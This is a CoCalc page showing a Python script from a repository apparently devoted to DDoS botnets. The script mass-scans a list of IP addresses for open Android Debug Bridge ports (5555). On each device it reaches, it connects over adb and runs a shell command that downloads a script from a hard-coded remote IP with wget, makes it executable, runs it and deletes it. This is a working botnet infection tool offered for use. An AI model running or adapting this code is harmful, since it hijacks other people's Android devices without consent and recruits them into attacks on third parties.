Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Exploits/ADB-ANDROID/android.py
5038 views
1
import sys
2
import threading
3
import requests
4
import os
5
import socket
6
import time
7
from Queue import *
8
from threading import Thread
9
10
if len(sys.argv) < 3:
11
sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list] [output]")
12
13
ips = open(sys.argv[1], "r").readlines()
14
output = sys.argv[2]
15
queue = Queue()
16
queue_count = 0
17
18
info = open(str(sys.argv[1]),'a+')
19
20
def rtek(ip):
21
ip = str(ip).rstrip("\n")
22
try:
23
adb = socket.socket()
24
adb.settimeout(5)
25
adb.connect((ip,5555))
26
os.system("echo "+ip+" >> "+output+"")
27
os.system("adb connect "+ip+"")
28
time.sleep(3);
29
os.system("adb -s "+ip+":5555 shell \"cd /data/local/tmp; wget http://178.128.244.61/a.sh; chmod 777 a.sh; sh a.sh; rm -rf a.sh\"")
30
adb.close()
31
except Exception:
32
adb.close()
33
pass
34
35
36
def main():
37
global queue_count
38
for line in ips:
39
line = line.strip("\r")
40
line = line.strip("\n")
41
queue_count += 1
42
sys.stdout.write("\r[%d] Added to queue" % (queue_count))
43
sys.stdout.flush()
44
queue.put(line)
45
sys.stdout.write("\n")
46
i = 0
47
while i != queue_count:
48
i += 1
49
try:
50
input = queue.get()
51
thread = Thread(target=rtek, args=(input,))
52
thread.start()
53
time.sleep(0.05)
54
except KeyboardInterrupt:
55
os.kill(os.getpid(), 9)
56
thread.join()
57
return
58
59
60
if __name__ == "__main__":
61
main()
62